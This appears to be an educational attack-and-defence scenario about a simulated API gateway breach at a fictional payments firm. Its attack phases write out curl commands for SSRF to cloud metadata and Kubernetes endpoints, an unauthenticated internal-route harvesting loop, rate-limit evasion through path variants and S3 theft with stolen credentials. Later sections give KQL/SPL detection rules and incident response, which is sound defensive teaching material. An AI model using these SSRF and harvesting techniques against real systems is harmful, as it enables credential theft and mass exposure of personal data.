SC-097: API Gateway Compromise — Operation BROKEN GATE¶

# Simulated API reconnaissance (educational only)
# Attacker enumerates NovaPay's API gateway endpoints

# Step 1: Identify gateway technology from response headers
curl -v https://api.novapay.example.com/nonexistent-path 2>&1

HTTP/2 404
server: kong/3.4.2
x-kong-request-id: abc123def456
x-ratelimit-limit-minute: 100
x-ratelimit-remaining-minute: 99
content-type: application/json

{"message":"no Route matched with those values"}

# Kong gateway identified — version 3.4.2
# Rate limiting header reveals per-minute limit of 100

# Step 2: Discover API documentation endpoints
curl https://api.novapay.example.com/swagger.json
# 404 — not at root

curl https://api.novapay.example.com/v1/docs
# Returns Swagger/OpenAPI specification (unprotected!)
{
    "openapi": "3.0.1",
    "info": {
        "title": "NovaPay API",
        "version": "1.4.2"
    },
    "paths": {
        "/v1/auth/token": {"post": {}},
        "/v1/accounts/{id}": {"get": {}},
        "/v1/transactions": {"get": {}, "post": {}},
        "/v1/customers/{id}": {"get": {}},
        "/v1/customers/search": {"post": {}},
        "/v1/reports/generate": {"post": {}},
        "/v1/partners/webhook": {"post": {}},
        "/v1/internal/health": {"get": {}},
        "/v1/internal/customer-svc/debug": {"get": {}},
        "/v1/internal/metrics": {"get": {}}
    }
}

# Critical findings:
# 1. /v1/internal/* routes exposed through public gateway
# 2. /v1/internal/customer-svc/debug — debug endpoint in production
# 3. /v1/customers/search — bulk search capability
# 4. OpenAPI spec is publicly accessible (information disclosure)

# Step 3: Test internal routes for authentication requirements
curl https://api.novapay.example.com/v1/internal/health
{"status":"healthy","services":{"auth-svc":"up","account-svc":"up",
 "customer-svc":"up","txn-svc":"up","reports-svc":"up",
 "partner-svc":"up"},"timestamp":"2026-04-01T08:15:00Z"}

# /v1/internal/health returns 200 without authentication!
# This reveals all internal service names and their status

curl https://api.novapay.example.com/v1/internal/metrics
{"error":"Unauthorized","message":"API key required"}

# /v1/internal/metrics requires auth — inconsistent policy
# Some internal routes are protected, others are not

curl https://api.novapay.example.com/v1/internal/customer-svc/debug
{"debug_mode":true,"service":"customer-svc","version":"2.1.0",
 "database":"mongodb://10.0.50.20:27017/customers",
 "cache":"redis://10.0.50.30:6379",
 "upstream_services":["account-svc.internal:8080",
   "txn-svc.internal:8080","reports-svc.internal:8080"],
 "request_context":{"source_ip":"198.51.100.50",
   "x-forwarded-for":"203.0.113.44",
   "gateway_route":"internal-debug"}}

# CRITICAL: Debug endpoint exposes:
# - Internal database connection strings
# - Redis cache addresses
# - Internal service hostnames and ports
# - Network topology information

# Simulated authentication bypass (educational only)
# Attacker exploits unauthenticated internal API routes

# Step 1: Access customer service directly via internal route
curl https://api.novapay.example.com/v1/internal/customer-svc/customers/1001
{
    "customer_id": "1001",
    "email": "testuser@example.com",
    "full_name": "Test User",
    "phone": "+1-555-0100",
    "address": "123 Example St, Testville, TX 75001",
    "ssn_last4": "REDACTED",
    "account_ids": ["ACC-10010001", "ACC-10010002"],
    "created_at": "2024-06-15T10:30:00Z",
    "kyc_status": "verified",
    "risk_score": 12
}

# No authentication required — direct access to customer PII!

# Step 2: Enumerate additional internal service routes
# Account service — also unauthenticated via internal route
curl https://api.novapay.example.com/v1/internal/account-svc/accounts/ACC-10010001
{
    "account_id": "ACC-10010001",
    "customer_id": "1001",
    "account_type": "checking",
    "balance": "REDACTED",
    "routing_number": "REDACTED",
    "account_number_last4": "REDACTED",
    "status": "active",
    "created_at": "2024-06-15T10:35:00Z"
}

# Step 3: Discover the Kong route configuration pattern
# Internal routes follow pattern: /v1/internal/{service-name}/{path}
# Kong strips /v1/internal/{service-name} and forwards {path}
# to the upstream service at {service-name}.internal:8080

# Kong route configuration (reconstructed from behavior):
# {
#   "name": "internal-customer-svc",
#   "paths": ["/v1/internal/customer-svc"],
#   "strip_path": true,
#   "service": {
#     "host": "customer-svc.internal",
#     "port": 8080
#   }
#   // NOTE: No authentication plugin attached!
#   // No IP restriction plugin attached!
# }

# Step 4: Map all accessible internal routes
for svc in auth-svc account-svc customer-svc txn-svc reports-svc partner-svc; do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
        https://api.novapay.example.com/v1/internal/$svc/health)
    echo "$svc: $status"
done

# Results:
# auth-svc: 401 (protected — has auth plugin)
# account-svc: 200 (UNPROTECTED)
# customer-svc: 200 (UNPROTECTED)
# txn-svc: 200 (UNPROTECTED)
# reports-svc: 401 (protected)
# partner-svc: 200 (UNPROTECTED)

# 4 of 6 internal service routes lack authentication

# Simulated SSRF exploitation (educational only)
# Attacker uses debug endpoint to reach internal resources

# Step 1: Discover SSRF-capable debug feature
curl -X POST https://api.novapay.example.com/v1/internal/customer-svc/debug/probe \
    -H "Content-Type: application/json" \
    -d '{"url":"http://localhost:8080/health"}'
{
    "probe_result": {
        "status": 200,
        "body": {"status":"healthy","version":"2.1.0"},
        "response_time_ms": 2
    }
}

# Debug probe endpoint fetches arbitrary URLs from the server side!

# Step 2: Access cloud instance metadata service
curl -X POST https://api.novapay.example.com/v1/internal/customer-svc/debug/probe \
    -H "Content-Type: application/json" \
    -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
{
    "probe_result": {
        "status": 200,
        "body": "customer-svc-role",
        "response_time_ms": 5
    }
}

# IAM role name discovered: customer-svc-role

curl -X POST https://api.novapay.example.com/v1/internal/customer-svc/debug/probe \
    -H "Content-Type: application/json" \
    -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/customer-svc-role"}'
{
    "probe_result": {
        "status": 200,
        "body": {
            "Code": "Success",
            "AccessKeyId": "REDACTED",
            "SecretAccessKey": "REDACTED",
            "Token": "REDACTED",
            "Expiration": "2026-04-01T14:30:00Z"
        },
        "response_time_ms": 3
    }
}

# CRITICAL: Temporary IAM credentials obtained via SSRF!
# customer-svc-role has access to S3, DynamoDB, and SQS

# Step 3: Access Kubernetes API from within the pod
curl -X POST https://api.novapay.example.com/v1/internal/customer-svc/debug/probe \
    -H "Content-Type: application/json" \
    -d '{"url":"https://kubernetes.default.svc/api/v1/namespaces/production/pods"}'
{
    "probe_result": {
        "status": 200,
        "body": {
            "kind": "PodList",
            "items": [
                {"metadata":{"name":"customer-svc-7d8f9b6c4-xk2pm","namespace":"production"}},
                {"metadata":{"name":"account-svc-5c4d8e7f1-mn3qr","namespace":"production"}},
                {"metadata":{"name":"txn-svc-9a2b3c4d5-st6uv","namespace":"production"}},
                {"metadata":{"name":"auth-svc-1e2f3a4b5-wx7yz","namespace":"production"}},
                {"metadata":{"name":"mongo-primary-0","namespace":"production"}},
                {"metadata":{"name":"redis-cluster-0","namespace":"production"}}
            ]
        }
    }
}

# Kubernetes pod enumeration reveals full service topology
# including database and cache pods

# Step 4: Direct access to MongoDB via SSRF
# Using the connection string discovered from the debug endpoint
curl -X POST https://api.novapay.example.com/v1/internal/customer-svc/debug/probe \
    -H "Content-Type: application/json" \
    -d '{"url":"http://10.0.50.20:27017/customers?limit=1"}'
{
    "probe_result": {
        "status": 200,
        "body": "[MongoDB wire protocol response - binary data]",
        "response_time_ms": 8
    }
}

# MongoDB is accessible from the customer-svc pod without authentication
# (MongoDB configured with bindIp: 0.0.0.0 and no auth within the cluster)

# Simulated rate limit bypass (educational only)
# Attacker evades per-route rate limiting

# Step 1: Identify rate limit configuration
# Each route has independent rate limiting:
# /v1/internal/customer-svc/*  — 100 req/min (or no limit)
# /v1/customers/*              — 100 req/min
# /v1/customers/search         — 100 req/min (separate route)

# Step 2: Discover path traversal equivalence
# Kong's strip_path + upstream routing creates multiple paths
# to the same backend data:

# Path 1: Direct internal route (no rate limit applied!)
curl https://api.novapay.example.com/v1/internal/customer-svc/customers/1001

# Path 2: Public route (rate limited)
curl -H "Authorization: Bearer REDACTED" \
    https://api.novapay.example.com/v1/customers/1001

# Path 3: Search endpoint (separate rate limit counter)
curl -X POST -H "Authorization: Bearer REDACTED" \
    https://api.novapay.example.com/v1/customers/search \
    -d '{"customer_id":"1001"}'

# Step 3: Exploit path normalization differences
# Kong normalizes /v1/internal/customer-svc/./customers/1001
# differently from /v1/internal/customer-svc/customers/1001
# Each normalized variant may have its own rate limit counter

# Variants that reach the same backend:
# /v1/internal/customer-svc/customers/1001
# /v1/internal/customer-svc/./customers/1001
# /v1/internal/customer-svc/customers/./1001
# /v1/internal/customer-svc//customers/1001

# Step 4: Automated distributed harvesting script
# The attacker rotates across paths and path variants
# to sustain ~2000 requests/minute while staying under
# per-route limits

# Harvesting approach (pseudocode — educational only):
# for customer_id in range(1, 1000000):
#     path = choose_random_path_variant()
#     response = fetch(f"{base_url}{path}/customers/{customer_id}")
#     if response.status == 200:
#         save_record(response.json())
#     elif response.status == 429:
#         rotate_to_next_path_variant()
#         backoff(seconds=5)
#
# Using internal routes without rate limiting:
# Effective harvest rate: ~2000 records/minute
# Total records harvested over 4 hours: ~340,000

# Simulated data exfiltration (educational only)
# Attacker systematically harvests customer data

# Step 1: Enumerate customer ID ranges via search endpoint
curl -X POST https://api.novapay.example.com/v1/internal/customer-svc/customers/search \
    -H "Content-Type: application/json" \
    -d '{"created_after":"2024-01-01","limit":10,"offset":0,"sort":"customer_id"}'
{
    "total_count": 2847392,
    "results": [
        {"customer_id":"1001","email":"testuser@example.com","full_name":"Test User"},
        {"customer_id":"1002","email":"testuser2@example.com","full_name":"Test User 2"}
    ],
    "pagination": {"offset":0,"limit":10,"has_more":true}
}

# 2.8 million customer records discoverable through search API

# Step 2: Use stolen IAM credentials to access S3 directly
# (credentials obtained via SSRF to metadata service in Phase 3)
# Environment: attacker's machine with AWS CLI

export AWS_ACCESS_KEY_ID=REDACTED
export AWS_SECRET_ACCESS_KEY=REDACTED
export AWS_SESSION_TOKEN=REDACTED

aws s3 ls s3://novapay-customer-docs-example/ --region us-east-1
# PRE kyc-documents/
# PRE identity-photos/
# PRE account-statements/

aws s3 ls s3://novapay-customer-docs-example/kyc-documents/ --region us-east-1 | head -5
# 2025-03-15 10:30:00   245000 kyc-1001-passport.pdf
# 2025-03-15 10:31:00   198000 kyc-1001-utility-bill.pdf
# 2025-03-16 14:22:00   267000 kyc-1002-drivers-license.pdf
# 2025-03-16 14:23:00   312000 kyc-1002-bank-statement.pdf
# 2025-04-01 09:15:00   189000 kyc-1003-passport.pdf

# Step 3: Exfiltration staging
# Attacker copies data to their own cloud storage
# Using the temporary IAM credentials from the SSRF exploit

# API data exfiltration:
# - 340,000 customer records via API harvesting
# - Fields: name, email, phone, address, SSN last 4, account IDs
# - Average record size: 2.4 KB
# - Total API data: ~816 MB

# S3 data exfiltration:
# - 12,400 KYC documents (passport scans, utility bills)
# - Total S3 data: ~3.2 GB
# - Transferred to: attacker-controlled S3 bucket via cross-account copy

# Step 4: Cover tracks
# Attacker reduces request frequency to blend with normal traffic
# Uses multiple source IPs (203.0.113.44, 203.0.113.45, 203.0.113.46)
# Requests spaced to stay below per-minute thresholds
# No log tampering — relies on volume blending with legitimate traffic

# Exfiltration timeline:
# Day 1: API reconnaissance and SSRF exploitation
# Day 2: Rate limit bypass testing, initial data harvesting (50K records)
# Day 3: Sustained harvesting (180K records) + S3 access begun
# Day 4: Final harvesting (110K records) + KYC document download
# Day 4 (late): Anomaly detection triggers investigation

# Simulated detection timeline (educational only)

[2026-04-04 22:30:00 UTC] ALERT: API response volume anomaly
  customer-svc responses increased 340% over 4-day rolling average
  Source: API monitoring dashboard (Grafana)

[2026-04-04 22:45:00 UTC] TRIAGE: Security analyst investigates
  - Discovered external IPs (203.0.113.44-46) hitting /v1/internal/* routes
  - 340,000+ requests to customer data endpoints in 96 hours
  - No JWT tokens attached to internal route requests
  - Debug endpoint received 847 POST requests from external IPs

[2026-04-04 23:00:00 UTC] ESCALATION: P1 incident declared
  - Incident Commander assigned
  - API gateway team, application security, and cloud security engaged

// KQL — Detect unauthenticated access to internal API routes
ApiGatewayLogs
| where TimeGenerated > ago(7d)
| where RequestPath startswith "/v1/internal/"
| where AuthenticationStatus == "none" or isempty(AuthToken)
| where SourceIP !startswith "10." and SourceIP !startswith "172.16."
| summarize RequestCount = count(),
            UniqueEndpoints = dcount(RequestPath),
            Endpoints = make_set(RequestPath),
            FirstSeen = min(TimeGenerated),
            LastSeen = max(TimeGenerated)
  by SourceIP, bin(TimeGenerated, 1h)
| where RequestCount > 10
| project TimeGenerated, SourceIP, RequestCount, UniqueEndpoints,
          Endpoints, FirstSeen, LastSeen

// KQL — Detect SSRF attempts through debug/probe endpoints
ApiGatewayLogs
| where TimeGenerated > ago(7d)
| where RequestPath contains "debug" or RequestPath contains "probe"
| where HttpMethod == "POST"
| extend RequestBody = tostring(parse_json(RequestPayload))
| where RequestBody contains "169.254.169.254"
    or RequestBody contains "kubernetes.default"
    or RequestBody contains "localhost"
    or RequestBody contains "10.0."
    or RequestBody contains "127.0.0.1"
| project TimeGenerated, SourceIP, RequestPath, RequestBody,
          ResponseCode, ResponseSize

// KQL — Detect rate limit evasion via path variant abuse
ApiGatewayLogs
| where TimeGenerated > ago(1d)
| extend NormalizedPath = replace_regex(RequestPath, @"/\./|//+", "/")
| where NormalizedPath contains "/customers/"
| summarize TotalRequests = count(),
            UniqueRawPaths = dcount(RequestPath),
            UniqueNormalizedPaths = dcount(NormalizedPath),
            PathVariants = make_set(RequestPath, 20)
  by SourceIP, bin(TimeGenerated, 10m)
| where TotalRequests > 200 and UniqueRawPaths > UniqueNormalizedPaths
| project TimeGenerated, SourceIP, TotalRequests,
          UniqueRawPaths, UniqueNormalizedPaths, PathVariants

// KQL — Detect anomalous S3 access from service IAM role
AWSCloudTrail
| where TimeGenerated > ago(7d)
| where EventName in ("GetObject", "ListBucket", "CopyObject")
| where UserIdentityArn contains "customer-svc-role"
| where SourceIpAddress !startswith "10." and SourceIpAddress !startswith "172.16."
| summarize ObjectCount = count(),
            UniqueObjects = dcount(tostring(parse_json(RequestParameters).key)),
            TotalBytes = sum(tolong(ResponseElements_bytes)),
            UniqueBuckets = make_set(tostring(parse_json(RequestParameters).bucketName))
  by SourceIpAddress, bin(TimeGenerated, 1h)
| where ObjectCount > 50 or TotalBytes > 100000000
| project TimeGenerated, SourceIpAddress, ObjectCount,
          UniqueObjects, TotalBytes, UniqueBuckets

// KQL — Detect bulk customer record enumeration
ApiGatewayLogs
| where TimeGenerated > ago(7d)
| where RequestPath matches regex @"/customers/\d+"
| summarize RequestCount = count(),
            UniqueCustomerIds = dcount(extract(@"/customers/(\d+)", 1, RequestPath)),
            MinCustomerId = min(toint(extract(@"/customers/(\d+)", 1, RequestPath))),
            MaxCustomerId = max(toint(extract(@"/customers/(\d+)", 1, RequestPath)))
  by SourceIP, bin(TimeGenerated, 1h)
| where UniqueCustomerIds > 100
| extend IdRange = MaxCustomerId - MinCustomerId
| where IdRange > 1000
| project TimeGenerated, SourceIP, RequestCount,
          UniqueCustomerIds, MinCustomerId, MaxCustomerId, IdRange

# SPL — Detect unauthenticated access to internal API routes
index=api_gateway sourcetype=kong:access
  request_path="/v1/internal/*"
  (auth_status="none" OR NOT auth_token=*)
  NOT src_ip="10.*" NOT src_ip="172.16.*"
| bin _time span=1h
| stats count as request_count,
        dc(request_path) as unique_endpoints,
        values(request_path) as endpoints,
        min(_time) as first_seen,
        max(_time) as last_seen
  by src_ip, _time
| where request_count > 10
| table _time, src_ip, request_count, unique_endpoints,
        endpoints, first_seen, last_seen

# SPL — Detect SSRF attempts through debug/probe endpoints
index=api_gateway sourcetype=kong:access
  (request_path="*debug*" OR request_path="*probe*")
  http_method=POST
| spath input=request_payload output=probe_url path=url
| where match(probe_url, "169\.254\.169\.254|kubernetes\.default|localhost|127\.0\.0\.1|^http://10\.")
| table _time, src_ip, request_path, probe_url,
        response_code, response_size

# SPL — Detect rate limit evasion via path variant abuse
index=api_gateway sourcetype=kong:access
  request_path="*customers*"
| eval normalized_path = replace(request_path, "/\./|//+", "/")
| bin _time span=10m
| stats count as total_requests,
        dc(request_path) as unique_raw_paths,
        dc(normalized_path) as unique_normalized_paths,
        values(request_path) as path_variants
  by src_ip, _time
| where total_requests > 200 AND unique_raw_paths > unique_normalized_paths
| table _time, src_ip, total_requests,
        unique_raw_paths, unique_normalized_paths, path_variants

# SPL — Detect anomalous S3 access from service IAM role
index=aws_cloudtrail sourcetype=aws:cloudtrail
  eventName IN ("GetObject", "ListBucket", "CopyObject")
  userIdentity.arn="*customer-svc-role*"
  NOT sourceIPAddress="10.*" NOT sourceIPAddress="172.16.*"
| bin _time span=1h
| spath input=requestParameters output=object_key path=key
| spath input=requestParameters output=bucket_name path=bucketName
| stats count as object_count,
        dc(object_key) as unique_objects,
        sum(responseElements.bytes) as total_bytes,
        values(bucket_name) as buckets
  by sourceIPAddress, _time
| where object_count > 50 OR total_bytes > 100000000
| table _time, sourceIPAddress, object_count,
        unique_objects, total_bytes, buckets

# SPL — Detect bulk customer record enumeration
index=api_gateway sourcetype=kong:access
  request_path="/v1/*/customers/*"
| rex field=request_path "/customers/(?<customer_id>\d+)"
| bin _time span=1h
| stats count as request_count,
        dc(customer_id) as unique_customer_ids,
        min(customer_id) as min_id,
        max(customer_id) as max_id
  by src_ip, _time
| eval id_range = max_id - min_id
| where unique_customer_ids > 100 AND id_range > 1000
| table _time, src_ip, request_count,
        unique_customer_ids, min_id, max_id, id_range

# Simulated incident response (educational only)
[2026-04-04 23:00:00 UTC] ALERT: API Gateway Compromise incident response activated

[2026-04-04 23:05:00 UTC] ACTION: Immediate containment
  - Block source IPs 203.0.113.44, 203.0.113.45, 203.0.113.46 at WAF
  - Disable ALL /v1/internal/* routes on public-facing Kong gateway
  - Disable customer-svc debug endpoint (/debug and /debug/probe)
  - Revoke all active IAM temporary credentials for customer-svc-role
  - Enable IMDSv2 (hop limit=1) on all EKS worker nodes

[2026-04-04 23:30:00 UTC] ACTION: API gateway hardening
  - Add JWT authentication plugin to ALL Kong routes (no exceptions)
  - Add IP restriction plugin to internal routes (allow only 10.0.0.0/8)
  - Implement consumer-based rate limiting (per API key, not per route)
  - Remove debug/probe endpoints from production deployment
  - Add request size and response size limits to all routes
  - Enable Kong request validation plugin (OpenAPI schema enforcement)

[2026-04-05 00:00:00 UTC] ACTION: Credential and access remediation
  - Rotate all API keys and JWT signing secrets
  - Rotate MongoDB credentials and restrict network access
  - Rotate Redis credentials and enable AUTH
  - Implement AWS IRSA (IAM Roles for Service Accounts) to replace
    instance metadata-based credentials
  - Add S3 bucket policy restricting access to VPC endpoint only

[2026-04-05 02:00:00 UTC] ACTION: Impact assessment
  Customer records accessed via API: 340,000 (12% of customer base)
  KYC documents downloaded from S3: 12,400
  Fields exposed: name, email, phone, address, SSN last 4, account IDs
  Financial data exposed: account type and status (no balances or full numbers)
  Dwell time: 96 hours (initial reconnaissance to detection)
  Root cause: Unauthenticated internal routes on public API gateway
  Contributing factors: Debug endpoint in production, per-route rate limiting,
    IMDSv1 allowing SSRF to metadata service, overly broad IAM role permissions
  Regulatory impact: PCI DSS notification required, state breach notification
    laws triggered for 340,000 affected customers